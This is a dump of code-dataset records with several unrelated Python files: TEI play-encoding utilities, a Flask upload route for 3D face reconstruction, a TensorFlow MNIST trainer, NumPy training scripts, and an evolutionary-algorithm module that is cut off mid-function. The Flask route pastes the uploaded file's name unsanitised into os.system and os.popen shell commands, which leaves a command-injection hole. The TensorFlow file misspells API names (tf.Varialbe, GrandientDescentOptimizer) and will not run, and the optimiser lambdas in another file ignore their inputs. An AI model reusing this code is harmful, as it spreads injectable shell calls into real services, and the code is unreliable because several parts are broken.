etree.SubElement(bibl_digi, \"idno\", type=\"URL\").text = \\\n        cf.numistral_prefix + row[\"numistralSource\"]\n    #   author\n    try:\n        author2 = row[\"author\"] if not pd.isnull(row[\"author2\"]) \\\n            and row[\"author\"] == row[\"author2\"] else row[\"author2\"]\n    except KeyError:\n        author2 = row[\"author\"]\n    if pd.isnull(row[\"authorKeyBnf\"]) or pd.isnull(row[\"authorKeyWikidata2\"]):\n        authorKeyWikidata2 = row[\"authorKeyWikidata\"]\n        author_keystr2 = f\"wikidata:{authorKeyWikidata2}\"\n    else:\n        try:\n            authorKeyWikidata2 = row[\"authorKeyWikidata\"] if not pd.isnull([\"authorKeyWikidata2\"]) \\\n                and row[\"authorKeyWikidata2\"] == row[\"authorKeyWikidata\"] else row[\"authorKeyWikidata2\"]\n        except KeyError:\n            authorKeyWikidata2 = row[\"authorKeyWikidata\"]\n        try:\n            authorKeyBnf2 = row[\"authorKeyBnf\"] if not pd.isnull(row[\"authorKeyBnf2\"]) \\\n                and row[\"authorKeyBnf2\"] == row[\"authorKeyBnf\"] else row[\"authorKeyBnf2\"]\n        except KeyError:\n            authorKeyBnf2 = row[\"authorKeyBnf\"]\n        author_keystr2 = f\"wikidata:{authorKeyWikidata2} bnf:{str(int(authorKeyBnf2))}\"\n    etree.SubElement(bibl_orig, \"author\", key=author_keystr2).text = \\\n        format_sheet_metadata(author2)\n    #   title\n    etree.SubElement(bibl_orig, \"title\", type=\"main\").text = \\\n        format_sheet_metadata(row.titleMain)\n    etree.SubElement(bibl_orig, \"title\", type=\"sub\").text = \\\n        format_sheet_metadata(row.titleSub)\n    #  publisher\n    try:\n        publisher2 = row[\"publisher\"] if pd.isnull(row[\"publisher2\"]) \\\n            and row[\"publisher2\"] == row[\"publisher\"] else row[\"publisher2\"]\n    except KeyError:\n        publisher2 = row[\"publisher\"]\n    etree.SubElement(bibl_orig, \"publisher\").text = format_sheet_metadata(publisher2)\n    #   dates\n    if not pd.isnull(row.premiere):\n        etree.SubElement(bibl_orig, \"date\", type=\"premiere\",\n                         when=f\"{str(int(row.premiere))}\").text = str(int(row.premiere))\n    if not pd.isnull(row.print):\n        etree.SubElement(bibl_orig, \"date\", type=\"print\",\n                         when=f\"{str(int(row.print))}\").text = str(int(row.print))\n    elif not pd.isnull(row.thisEdition):\n        etree.SubElement(bibl_orig, \"date\", type=\"print\",\n                         when=f\"{str(int(row.thisEdition))}\").text = str(int(row.thisEdition))\n    if not pd.isnull(row.written):\n        etree.SubElement(bibl_orig, \"date\", type=\"written\",\n                         when=f\"{str(int(row.written))}\").text = str(int(row.written))\n    else:\n        bibl_orig.append(etree.Element(\"date\", type=\"written\"))\n    bibl_digi.append(bibl_orig)\n    sourceDesc.append(bibl_digi)\n    # append to teiHeader\n    fileDesc.append(sourceDesc)\n    hdr.append(fileDesc)\n    return hdr\n\n\ndef get_set_by_id(set_fn, set_id):\n    \"\"\"\n    Get set element from play sets file using id in metadata/character sheet.\n    \"\"\"\n    tree = etree.parse(set_fn)\n    play = tree.xpath(f\"//play[id='{set_id}']\")\n    assert len(play) == 1\n    set_e = play[0].xpath(\"./set\")[0]\n    return set_e\n\n\ndef get_set_from_file(set_fname, front):\n    \"\"\"\n    Add set info to front of TEI.\n\n    Args:\n        set_fname (str): Name of file with set info\n        front (etree.Element): front element to add info to\n    \"\"\"\n    with open(set_fname, mode='r', encoding='utf8') as fd:\n        txt = fd.read().strip()\n    set_ele = etree.fromstring(txt)\n    #etree.SubElement(set_ele, \"p\").text = txt\n    front.append(set_ele)\n    return front\n\n\ndef simple_dehyphenation(text):\n    \"\"\"\n    Delete hyphens and space following them as a naïve way to\n    dehyphenate words at line-end.\n    \"\"\"\n    text = re.sub(re.compile(r\"(\\w)- (\\w)\"), r\"\\1\\2\", text)\n    text = re.sub(re.compile(r\"(e-n)(\\w)\"), r\"\\1-\\2\", text)\n    text = re.sub(re.compile(r\"(Sainte)(C)\"), r\"\\1-\\2\", text)\n    return text\n\n\ndef strip_speakers(text):\n    \"\"\"Strip trailing or leading whitespace inside speaker element text.\"\"\"\n    text = re.sub(\" +</speaker>\", \"</speaker>\", text)\n    text = re.sub(\"<speaker> +\", \"<speaker>\", text)\n    text = re.sub(\" +([:.])(</speaker>)\", r\"\\1\\2\", text)\n    text = re.sub(r\"(\\w|>) {2,}(</speaker>)\", r\"\\1 \\2\", text)\n    return text\n\n\ndef add_space_around_stage_directions(text):\n    \"\"\"\n    Add a space around *stage* elements inside a *p* in string `text`,\n    so that *p* text does not appear stuck to them when rendering with the CSS.\n    \"\"\"\n    text = re.sub(r\"([^\\s])<stage>\", r\"\\1 <stage>\", text)\n    text = re.sub(r\"</stage>([^\\s.,;:?!])\", r\"</stage> \\1\", text)\n    return text\n\n\ndef add_space_around_stage_directions_b(bts):\n    \"\"\"\n    Add a space around *stage* elements inside a *p* in bytes `bts`,\n    so that *p* text does not appear stuck to them when rendering with the CSS.\n    \"\"\"\n    bts = re.sub(br\"([^\\s])<stage>\", br\"\\1 <stage>\", bts)\n    bts = re.sub(br\"</stage>([^\\s.,;:?!])\", br\"</stage> \\1\", bts)\n    return bts\n\n\ndef check_italics_ratio(pe):\n    \"\"\"\n    Return ratio of italics tokens in paragraph element `pe`.\n    In some plays this can indicate that it's a character stage direction.\n    \"\"\"\n    toks = pe.xpath(\".//span[@class='ocrx_word']//text()\")\n    toks_em = pe.xpath(\".//span[@class='ocrx_word']/em/text()\")\n    return len(toks_em) / len(toks)\n\n\ndef tag_foreign_expressions_with_list(xs, lspath):\n    \"\"\"\n    Add seg elements to the string representing xml in `xs`, based on\n    list in file at path `fpath`.\n    \"\"\"\n    with open(lspath, mode=\"r\", encoding=\"utf8\") as fd:\n        lines = [ll.split(\"\\t\") for ll in fd]\n        exp2lang = [(exp.strip(), lang.strip()) for (exp, lang) in lines]\n    for e2l in exp2lang:\n        exp, lang = e2l[0], e2l[1]\n        # seg ran into p if no spaces around\n        xs = re.sub(fr\"\\b{exp}\\b\", fr\" <seg xml:lang='{lang}'>{exp}</seg> \", xs)\n    #xs = re.sub(r\" {2,}<seg\", r\" <seg\", xs)\n    xs = re.sub(r\"( *</seg> +)([.,;:!?])\", r\"</seg>\\2\", xs)\n    xs = re.sub(r\"</seg> {2,}\", r\"</seg> \", xs)\n    return xs\n\n\ndef create_back_with_text(xml_str, back_txt):\n    \"\"\"\n    Create a <back> element with the text in `txt` and add it to xml string.\n\n    First removes the text from the body and then adds the back with it.\n\n    Parameters\n    ----------\n    xml_str : str\n        String representing XML\n    back_txt : str\n        Text to create back with\n\n    Returns\n    -------\n    str\n        The XML string representing TEI file with the back added\n    \"\"\"\n    xml_str = xml_str.replace(back_txt, \"\")\n    xml_str = xml_str.replace(\n        \"</body>\", \"</body><back><div><p>\" + back_txt + \"</p></div></back>\")\n    return xml_str\n\n\ndef change_apos_to_squo_b(sertree):\n    \"\"\"\n    Replace (in serialized etree) straight apostrophe with single quote.\n    \"\"\"\n    # sertree = re.sub(br\"'([srmn])\", r\"’\\1\".encode(), sertree)\n    # Alsatian pronouns\n    sertree = re.sub(br\"(?<!=)'([srmn])\", r\"’\\1\".encode(), sertree)\n    # Alsatian: sott', hab', z'undersch, z'öwersch, participles (g'fahre)\n    sertree = re.sub(br\"([btzg'])'\", r\"\\1’\".encode(), sertree)\n    # French clitics, d', qu', c'; Alsatian d'\n    sertree = re.sub(re.compile(br\"([jmtsdluc])'\", re.I), r\"\\1’\".encode(), sertree)\n\n    return sertree\n\n\ndef change_apos_to_squo_str(text):\n    \"\"\"\n    Replace in a string straight apostrophe by single quote.\n    \"\"\"\n    # Alsatian pronouns\n    text = re.sub(r\"(?<!=)'([srmn])\", r\"’\\1\", text)\n    # Alsatian: sott', hab', z'undersch, z'öwersch, participles (g'fahre)\n    text = re.sub(r\"([btzg'])'\", r\"\\1’\", text)\n    # French clitics, d', qu', c'; Alsatian d'\n    text = re.sub(re.compile(r\"([jmtsdluc])'\", re.I), r\"\\1’\", text)\n    return text\n\n\ndef change_lsquo_to_rsquo_b(sertree):\n    \"\"\"\n    Replace (in serialized etree) left single quote with right single quote,\n    in contexts where it's likely that a rsquo should be there instead.\n    \"\"\"\n    sertree = re.sub(r\"‘([srmn])\".encode(), r\"’\\1\".encode(), sertree)\n    sertree = re.sub(r\"t‘ \".encode(), r\"t’ \".encode(), sertree)\n    return sertree\n\n\ndef change_lsquo_to_rsquo_str(text):\n    \"\"\"\n    Replace in string left single quote with right single quote,\n    in contexts where it's likely that a rsquo should be there instead.\n    \"\"\"\n    text = re.sub(r\"‘([srmn])\", r\"’\\1\", text)\n    text = re.sub(r\"t‘ \", r\"t’ \", text)\n    return text\n\n\ndef general_cleanup_str(text):\n    \"\"\"General cleanup of xml as a string\"\"\"\n    text = re.sub(r\"<lg>\\s*</lg>\", \"\", text)\n    return text\n\n\ndef general_cleanup_b(bt):\n    \"\"\"General cleanup of xml as bytes\"\"\"\n    bt = re.sub(b\"<lg>\\s*</lg>\", \"\", bt)\n    bt = re.sub(b\"::\", \":\", bt)\n    return bt\n\n\ndef validate_tei_with_relaxng(teifn, rng_path=ocf.tei_rng):\n    os.system(f'xmllint --noout --relaxng {rng_path} {teifn}')","sub_path":"methal-work-master/play-encoding/plays/201_007_chrischtowe/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"345886656","text":"from flask import request, Response, render_template, send_file, after_this_request, json, jsonify, send_from_directory\nimport os, json, glob, io\nfrom PIL import Image\nimport zipfile\n\nfrom app import app\nfrom app.service import NotAcceptableException\nfrom app.utils import SafeUtils\n\nimport subprocess\n\n@app.route(\"/\")\ndef index():\n\treturn render_template(\"test.html\")\n\n\n@app.route('/result', methods = ['POST'])\ndef result():\n\ttry:\n\t\treturn_data = io.BytesIO()\n\t\tuploaded_files = request.files.getlist('files[]')\n\t\tif len(uploaded_files) == 0:\n\t\t\tuploaded_files = request.files.getlist('file')\n\n\t\t\n\t\tinput_img = Image.open(uploaded_files[0])\n\t\tfname = uploaded_files[0].filename.split('.')[0]\n\t\tif uploaded_files[0].filename.split('.')[-1] == \"jpg\":\n\t\t\tfpath = \"/mnt/DATA/yg/uniinfo/3DDFA_V2/examples/inputs/\"+fname+\".jpg\"\n\t\telif uploaded_files[0].filename.split('.')[-1] == \"png\":\n\t\t\tfpath = \"/mnt/DATA/yg/uniinfo/3DDFA_V2/examples/inputs/\"+fname+\".png\"\n\t\telse:\n\t\t\traise Exception(\"jpg 또는 png 파일만 가능합니다.\")\n\n\t\tinput_img.save(fpath)\n\t\tr1 = os.popen(\"python /mnt/DATA/yg/uniinfo/3DDFA_V2/demo.py -f \"+fpath+\" -o obj\").read()\n\t\tos.system(\"python /mnt/DATA/yg/uniinfo/3DDFA_V2/demo.py -f \"+fpath+\" -o uv_tex\")\n\t\tprint(r1)\n\t\tif \"0 faces\" in r1:\n\t\t\traise Exception(\"얼굴을 찾을 수 없습니다.\")\n\t\tos.system(\"mv /mnt/DATA/yg/uniinfo/3DDFA_V2/examples/results/\"+fname+\"_* ./\")\n\t\tos.system(\"zip result.zip \"+fname+\"_*\")\n\t\tos.system(\"rm \"+fname+\"_*\")\n\t\t\n\t\twith open(\"result.zip\", 'rb') as output:\n\t\t\treturn_data.write(output.read())\n\t\t\treturn_data.seek(0)\n\n\t\tos.remove(\"result.zip\")\n\t\t\n\t\treturn send_file(\n\t\t\treturn_data,\n\t\t\tmimetype=\"application/zip\",\n\t\t\tattachment_filename=fname+\"_result.zip\",\n\t\t\tas_attachment=True)\n\n\texcept Exception as e:\n\t\t# print traceback on debug level below\n\t\tif app.logger.level <= 10: app.logger.exception(e)\n\t\terror = str(e).replace(\"&\", \"&amp;\").replace(\"\\\"\", \"\\'\").replace(\">\", \"&gt;\").replace(\"<\", \"&lt;\")\n\t\terror = \"<html><body><script>alert(\\\"{}\\\");window.history.back();</script></html>\".format(error)\n\n\t\treturn app.make_response(error)","sub_path":"3D_Scanner/uni3dface/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"296880070","text":"# -*- coding: utf-8 -*-\n\"\"\"\n完整的TensorFlow训练神经网络，实现以下功能：\n1. 使用激活函数实现神经网络模型的去线性化\n2. 使用一个或多个隐藏层使神经网络的结构更深\n3. 使用带指数衰减的学习率设置\n4. 使用正则化来避免过度拟合\n5. 使用滑动平均模型来使得最终模型更加健壮\n\n出自《Tensorflow 实战Google深度学习框架》 \n侵权望告知，删除相关代码\n\"\"\"\n\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n# MNIST数据集相关的常数\nINPUT_NODE = 784  # 输入层的节点数，在图像识别方面，节点数等于图片的像素\nOUPUT_NODE = 10  # 输出层的节点数。这个等于类别的数目。因为在MNIST数据集中\n# 需要区分的是0~9这10个数字，所以这里输出层的节点数为10\n\n# 配置神经网络的参数\nLAYER1_NODE = 500  # 隐藏层节点数。这里使用1层500节点的隐藏层\nBATCH_SIZE = 100  # 一个训练batch中的训练数据个数。数字越小时，训练过程越\n# 接近随机梯度下降；数字越大，训练越接近梯度下降。\n\nLEARNING_RATE_BASE = 0.8  # 基础的学习率\nLEARNING_RATE_DECAY = 0.99  # 学习率的衰减率\nREGULARIZATION_RATE = 0.0001  # 正则化项系数\nTRAINING_STEPS = 30000  # 训练轮数\nMOVING_AVERAGE_DECAY = 0.99  # 滑动平均衰减率\n\n# 定义一个辅助函数\n\"\"\"\n给定神经网络的输入和所有参数，计算神经网络的前向传播结果。在这里定义了一个使用ReLU激活函\n数的三层全链接神经网络。通过加入隐藏层实现了多层网络结构，通过ReLU激活函数实现了去线性化。\n在这个函数中也支持传入用于计算参数平均值的类。这样方便在测试中使用滑动平均模型。\n\"\"\"\n\n\ndef inference(input_tensor, avg_class, weights1, biases1, weights2, biases2):\n    # 当没有提供滑动平均类时，直接使用参数当前的取值\n    if avg_class is None:\n        # 计算隐藏层的前向传播结果，这里使用里ReLU激活函数\n        layer1 = tf.nn.relu(tf.matmul(input_tensor, weights1) + biases1)\n        \"\"\"\n\t\t计算输出层的前向传播结果，因为在计算损失函数时会一并计算softmax函数，所以这里不需\n\t\t要加入激活函数。而且不加入softmax函数不会影响测试结果。因为预测时使用的是不同类别\n\t\t对应节点输出值得相对大小，有没有softmax层对最后分类的结果的计算没有影响。于是在计\n\t\t算整个神经网络的前向传播时可以不加入最后的softmax层。\n\t\t\"\"\"\n        return tf.matmul(layer1, weights2) + biases2\n\n    else:\n        \"\"\"\n\t\t首先使用avg_class.average函数来计算得出变量的滑动平均值，然后再计算相应的神经网络\n\t\t前向传播结果\n\t\t\"\"\"\n        layer1 = tf.nn.relu(\n            tf.matmul(input_tensor, avg_class.average(weights1)) +\n            avg_class.average(biases1))\n        return tf.matmul(layer1, avg_class.average(weights2)) + avg_class.average(biases2)\n\n\n# 训练模型的过程\ndef train(mnist):\n    x = tf.placeholder(tf.float32, [None, INPUT_NODE], name='x-input')\n    y_ = tf.placeholder(tf.float32, [None, OUPUT_NODE], name='y-input')\n\n    # 生成隐藏层的参数\n    weights1 = tf.Varialbe(\n        tf.truncated_normal([INPUT_NODE, LAYER1_NODE], stddev=0.1))\n    biases1 = tf.Varialbe(tf.constant(0.1, shape=[LAYER1_NODE]))\n    # 生成输出层的参数\n    weights2 = tf.Varialbe(\n        tf.truncated_normal([LAYER1_NODE, OUPUT_NODE], stddev=0.1))\n    biases2 = tf.Varialbe(tf.constant(0.1, shape=[OUPUT_NODE]))\n\n    # 计算在当前参数下神经网络前向传播的结果。这里给出的用于计算滑动平均模型的类为None\n    # 所以函数不会使用参数的滑动平均值\n    y = inference(x, None, weights1, biases1, weights2, biases2)\n\n    \"\"\"\n\t定义存储训练轮数的变量。这个变量不需要计算滑动平均值，所以这里指定这个变量为不可训练的\n\t变量（trainable = False）。在使用TensorFlow训练神经网络时，一般会将代表训练轮数的变量指\n\t定位不可训练的参数。\n\t\"\"\"\n    global_step = tf.Varialbe(0, trainable=False)\n\n    # 给定滑动平均衰减率和训练轮数的变量。初始化滑动平均类。\n    varialbe_averages = tf.train.ExponentialMovingAverage(\n        MOVING_AVERAGE_DECAY, global_step)\n\n    \"\"\"\n\t在所有代表神经网络参数的变量上使用滑动平均。其他辅助变量（比如gloabal_step）就不需要了。\n\ttf.trainable_variables返回的就是涂上集合GraphKeys.TRAINABLE_VARIABLES中的元素。这个集合\n\t的元素就是所有没有指定trainable = False的参数\n\t\"\"\"\n    varialbe_averages_op = varialbe_averages.apply(\n        tf.trainable_variables())\n\n    \"\"\"\n\t计算使用了滑动平均之后的前向传播结果。滑动平均不会改变变量本身的取值，而是会维护一个影子\n\t变量来记录其滑动平均值。所以当需要使用这个滑动平均值时，需要明确调用average函数\n\t\"\"\"\n\n    average_y = inference(\n        x, varialbe_averages, weights1, biases1, weights2, biases2)\n\n    \"\"\"\n\t计算交叉熵作为刻画预测值和真实值之间差距的损失函数。这里使用了TensorFlow中提供的sparse_softmax\n\t_cross_entropy_with_logits函数来计算交叉熵。当分类问题只有一个正确答案时，可以使用这个函数来加\n\t速交叉熵的计算。MNIST问题的图片中只包含了0~9中的一个数字，所以可以使用这个函数来计算交叉熵损失。\n\t这个函数的第一个参数是神经网络不包括softmax层的前向传播结果，第二个是训练数据的正确答案。因为\n\t标准答案是一个长度为10的一维数组，而该函数需要提供的是一个正确答案的数字，所以需要使用tf.argmax\n\t函数来得到正确答案的类别编号。\n\t\"\"\"\n    cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(\n        y, tf.argmax(y_, 1))\n    # 计算在当前batch中所有样例的交叉熵平均值。\n    cross_entropy_mean = tf.reduce_mean(cross_entropy)\n\n    # 计算L2正则化损失函数。\n    regularizer = tf.contrib.layer.l2_regularizer(REGULARIZATION_RATE)\n    # 计算正则化损失。一般只计算神经网络边上权重的正则化损失，而不使用偏执项。\n    regularization = regularizer(weights1) + regularizer(weights2)\n    # 总损失等于交叉式损失和正则化损失的和\n    loss = cross_entropy_mean + regularization\n    # 设置指数衰减的学习率\n    learning_rate = tf.train.exponential_decay(\n        LEARNING_RATE_BASE,  # 基础的学习率，随着迭代的进行，更新变量时使用的学习率在\n        # 这个基础上递减\n        global_step,  # 当前迭代的轮数\n        mnist.train.num_examples / BATCH_SIZE,  # 过完所有的训练数据需要的迭代次数\n        LEARNING_RATE_DECAY)  # 学习率衰减速度\n\n    \"\"\"\n\t使用tf.train.GrandientDescentOptimizer优化算法来优化损失函数。注意这里损失函数包含了交叉熵损失和\n\tL2正则化损失\n\t\"\"\"\n    train_step = tf.train.GrandientDescentOptimizer(learning_rate).minimize(loss, global_step=global_step)\n\n    \"\"\"\n\t在训练神经网络数据时，每过一遍数据既需要通过反向传播来更新神经网络中的参数，又需要更新每一个参数的\n\t滑动平均值。为了一次完成多个操作，TensorFlow提供了tf.control_dependencies和tf.group两种机制，下面\n\t两汉程序和train_op = tf.grouo(train_step,varialbe_averages_op)是等价的\n\t\"\"\"\n    with tf.control_dependencies([train_step], varialbe_averages_op):\n        train_op = tf.no_op(name='train')\n\n    \"\"\"\n\t检验使用了滑动平均模型的神经网络前向传播结果是否正确。tf.argmax(average_y,1)计算每一个样例的预测答案。\n\t其中average_y是一个batch_size * 10 的二维数组。\n\t\"\"\"\n","sub_path":"MNIST/Completed_NN_MNIST_Tensorflow.py","file_name":"Completed_NN_MNIST_Tensorflow.py","file_ext":"py","file_size_in_byte":7912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"497251303","text":"#수치미분은 너무 느려서 안 돌아감\n\nimport os,sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nsys.path.append(os.pardir)\nfrom dataset.mnist import load_mnist\nfrom two_layer_net import TwoLayerNet\n\n(x_train,t_train),(x_test,t_test)=load_mnist(normalize=True,one_hot_label=True)\n\ntrain_loss_list=[]\n\niters_num=10000\ntrain_size=x_train.shape[0]\nbatch_size=100\nlearning_rate=0.1\n\nnetwork=TwoLayerNet(784,50,10)\n\nfor i in range(iters_num):\n\tbatch_mask=np.random.choice(train_size,batch_size)\n\tx_batch=x_train[batch_mask]\n\tt_batch=t_train[batch_mask]\n\n\tgrad = network.numerical_gradient(x_batch, t_batch)\n    \n\tfor key in ('W1','b1','W2','b2'):\n\t\tnetwork.params[key]-=grad[key]*learning_rate\n\n\tloss = network.loss(x_batch,t_batch)\n\ttrain_loss_list.append(loss)\n\tif i%1000==0:\n\t\tprint(loss)\n\nplt.plot(range(len(train_loss_list)),train_loss_list)\nplt.ylim(0,10)\nplt.show()","sub_path":"exercise/ch04/train_neuralnet.py","file_name":"train_neuralnet.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"334680165","text":"from g_factors3 import gen_f\nfrom scipy.stats import norm\nfrom scipy.optimize import minimize\nfrom scipy.stats import burr\nimport pandas as pd\nimport numpy as np\ndef gen_v():\n    data = pd.read_csv(\"data.csv\")\n    data[data==' ']=np.nan\n    data=data.dropna()\n    data.head(5)\n    data_E=data.iloc[0:56,:]\n    data_T=data.iloc[56::,:]\n    stress=np.int8(data_E.iloc[:,31])\n    tired=np.int8(data_E.iloc[:,32])\n    st=np.int8(data_E.iloc[:,31:33])\n    choice3=np.int8(data_E.iloc[:,37])\n    choice4=np.int8(data_E.iloc[:,38])\n    tend=np.int8(choice3)+np.int8(choice4)\n    risk=np.int8(data_E.iloc[:,34])\n    delay=np.int8(data_E.iloc[:,39])\n    fst=np.zeros((3,3))\n    for i in range (0,3):\n        for j in range (0,3):\n            fst[i,j]=np.array([i for i in np.where(st[:,0]==i)[0] if i in np.where(st[:,1]==j)[0]]).size\n    fst/=fst.sum()\n    frd=np.zeros((2,2))\n    for i in range (0,2):\n        for j in range (0,2):\n            frd[i,j]=np.array([i for i in np.where(risk==i+1)[0] if i in np.where(delay==j+1)[0]]).size\n    frd/=frd.sum()\n    frd\n    time=np.float32(data_E.iloc[:,1:11])\n    mu=np.zeros(10)\n    std=np.zeros(10)\n    for i in range (0,10):\n        mu[i],std[i]=norm.fit(time[:,i])\n    farmiliar=np.float32(data_E.iloc[:,21:31])\n    mu_f=np.zeros(10)\n    std_f=np.zeros(10)\n    for i in range (0,10):\n        mu_f[i],std_f[i]=norm.fit(farmiliar[:,i])\n    m1=np.load('m1.npy')\n    m2=np.load('m2.npy')\n    m3=np.load('m3.npy')\n    m4=np.load('m4.npy')\n    f=data_E.iloc[:,21:31]\n    f_e=np.zeros((data_E.shape[0],10))\n    rv1=burr(m1[0], m1[1], m1[2], m1[3])\n    rv2=burr(m2[0], m2[1], m2[2], m2[3])\n    rv3=burr(m3[0], m3[1], m3[2], m3[3])\n    rv4=burr(m4[0], m4[1], m4[2], m4[3])\n    x=np.arange(0,4000)\n    f_e[np.where(f=='0')] = 0\n    f_e[np.where(f=='1')] = x.dot(rv1.pdf(x))\n    f_e[np.where(f=='2')] = x.dot(rv2.pdf(x))\n    f_e[np.where(f=='3')] = x.dot(rv3.pdf(x))\n    f_e[np.where(f=='4')] = x.dot(rv4.pdf(x))\n    mu_fe=np.zeros(10)\n    std_fe=np.zeros(10)\n    for i in range (0,10):\n        mu_fe[i],std_fe[i]=norm.fit(f_e[:,i])\n    v=[fst,frd,mu,std,mu_fe,std_fe,mu_f,std_f]\n    return v,tend,stress,tired,risk,delay,time,farmiliar,f_e\n\ndef fun(v,i,stress,tired,risk,delay,time,farmiliar,f_e):\n    fst,frd,mu,std,mu_fe,std_fe,mu_f,std_f=v\n    #print(frd)\n    tend_p=fst[stress[i],tired[i]]*frd[risk[i]-1,delay[i]-1]\n    for i1 in range (0,10):\n        tend_p*=norm.pdf(time[i,i1],mu[i1],std[i1])\n    for i1 in range (0,10):\n        tend_p*=norm.pdf(farmiliar[i,i1],mu_f[i1],std_f[i1])\n    for i1 in range (0,10):\n        tend_p*=norm.pdf(f_e[i,i1],mu_fe[i1],std_fe[i1])\n    return tend_p\n\ndef err(v,tend,stress,tired,risk,delay,time,farmiliar,f_e):\n    error=0\n    p=np.zeros(56)\n    for i in range(0,56):\n        p[i]=fun(v,i,stress,tired,risk,delay,time,farmiliar,f_e)\n    p=p/p.sum()\n    #mu_tend,std_tend=norm.fit(tend)\n    for i in range(0,56):\n        if tend[i]>20:\n            error+=np.abs(1-p[i])\n        else:\n            error+=np.abs(0-p[i])\n    return error\n\ndef update(m,load):\n    v,tend,stress,tired,risk,delay,time,farmiliar,f_e=gen_v()\n    if load==1:\n        v=np.load('v.npy')\n    fst,frd,mu,std,mu_fe,std_fe,mu_f,std_f=v\n    function1 = lambda fst: err(v,tend,stress,tired,risk,delay,time,farmiliar,f_e)\n    function2 = lambda frd: err(v,tend,stress,tired,risk,delay,time,farmiliar,f_e)\n    function3 = lambda mu: err(v,tend,stress,tired,risk,delay,time,farmiliar,f_e)\n    function4 = lambda std: err(v,tend,stress,tired,risk,delay,time,farmiliar,f_e)\n    function5 = lambda mu_fe: err(v,tend,stress,tired,risk,delay,time,farmiliar,f_e)\n    function6 = lambda std_fe: err(v,tend,stress,tired,risk,delay,time,farmiliar,f_e)\n    function7 = lambda mu_f: err(v,tend,stress,tired,risk,delay,time,farmiliar,f_e)\n    function8 = lambda std_f: err(v,tend,stress,tired,risk,delay,time,farmiliar,f_e)\n    f=[function1,function2,function3,function4,function5,function6,function7,function8]\n    for i in range (0,m):\n        k=np.random.randint(0,7)\n        t=32\n        if i%100==0:\n            t/=2\n        v[k]=minimize(f[k],v[k],method='Nelder-Mead', tol=t)['x'].reshape(v[k].shape)\n        if i%10==0:\n            np.save('v.npy',v)","sub_path":"mini.py","file_name":"mini.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"185309056","text":"##################################################################################\n# This file contains the main methods for doing simulation, evolution, \n# implementing our two evolutioanry strategies.\n##################################################################################\n\n\nimport numpy as np\nfrom individual import Individual\n\n\ndef initialize_generation(environment, population_size, num_genes):\n\t\"\"\"\n\tRandomly initializes a generation by returning list of objects of class Individual.\n\t:param population_size: number of individuals in population\n\t:param num_genes: total number of weights in neural network controller\n\t\"\"\"\n\t# initialize all individuals in the population \n\tall_genotypes = np.random.uniform(-1, 1, (population_size, num_genes))\n\tall_sigmas = np.random.uniform(0.001, 0.1, (population_size, num_genes))\n\tgeneration = [Individual(all_genotypes[i], all_sigmas[i]) for i in range(population_size)]\n\n\t# compute fitness of all individuals\n\tfor individual in generation:\n\t\tindividual.fitness = individual.compute_fitness(environment)\n\n\treturn generation\n\n\ndef generate_next_generation(environment, population, adaptive_mutation):\n\t\"\"\"\n\tGenerates next generation from current population.\n\t:param environment: (simulation) environment object\n\t:param population: list of objects of class Individual\n\t\"\"\"\n\t# generate pairs of parents that can be used for recombination\n\tparent_pairs = parent_selection_ranking(population, num_pairs=len(population)*4)\n\n\t# generate offspring\n\toffspring = []\n\tfor i in range(len(parent_pairs)):\n\t\tchildren = create_offspring(environment, parent_pairs[i][0], parent_pairs[i][1], adaptive_mutation, num_offspring=1)\n\t\toffspring += children # concatenate children to offspring list\t\n\n\tnew_population = survival_selection_top(offspring, len(population))\n\treturn new_population\n\ndef parent_selection_ranking(population, num_pairs, s=1.5):\n\t\"\"\"\n\tRank-based parent selection using linear ranking (with s = 1.5)\n\t:param: population: list of objects of class Individual\n\t:param num_pairs: number of parent pairs that we want to generate \n\t\"\"\"\n\t# compute linearly adjusted ranks\n\tpop_size = len(population)\n\tsorted_population = sorted(population, key = lambda individual: individual.fitness)\n\n\t# compute linearly adjusted ranks\n\tselection_probs = []\n\tfor i in range(len(sorted_population)):\n\t\tselection_probs.append(((2-s)/pop_size) + 2*i*(s-1)/(pop_size*(pop_size-1)))\n\n\t# sample random parent pairs\n\tparent_pairs = []\n\twhile len(parent_pairs) != num_pairs:\n\t\tselection = np.random.choice(sorted_population, 2, replace=False, p=selection_probs)\n\t\tparent_pairs.append((selection[0], selection[1]))\n\n\treturn parent_pairs\n\n\ndef create_offspring(environment, parent_1, parent_2, adaptive_mutation, num_offspring):\n\t\"\"\"\n\tGenerate num_offspring from parent_1 and parent_2 using recombination and mutation\n\t:param environment: (simulation) environment object\n\t:param parent_1: first parent object of class Individual\n\t:param parent_2: first parent object of class Individual\n\t:param num_offspring: number of offspring to generate from the parent pair\n\t\"\"\"\n\t# create num_offspring children from the parent pair\n\tchildren = []\n\tfor i in range(num_offspring):\n\t\t# apply whole arithmetic recombination to create children\n\t\tchild = recombine(parent_1, parent_2, adaptive_mutation)\n\n\t\t# apply mutation and add child to children list\t\t\n\t\tif adaptive_mutation:\n\t\t\tchild.mutate_self_adaptive()\n\t\telse:\n\t\t\tchild.mutate()\n\t\n\t\t# compute child's fitness after mutation\n\t\tchild.fitness = child.compute_fitness(environment)\n\t\tchildren.append(child)\n\n\treturn children\n\n\ndef recombine(parent_1, parent_2, adaptive_mutation):\n\t\"\"\"\n\tPerforms recombination between two parents, creating a child.\n\tUse blend_crossover for ES1 and whole_arith_recombination for ES2.\n\t:param parent_1: first parent object of class Individual\n\t:param parent_2: first parent object of class Individual\n\t\"\"\"\n\tchild_genotype = blend_crossover(parent_1, parent_2)\n\tif adaptive_mutation:\n\t\tchild_sigma = child_sigma_v4(parent_1, parent_2)\n\telse:\n\t\t# child sigma will be ignored in this case\n\t\tchild_sigma = parent_1.sigma\n\n\t# return new child object\n\treturn Individual(child_genotype, child_sigma)\n\n\ndef blend_crossover(parent_1, 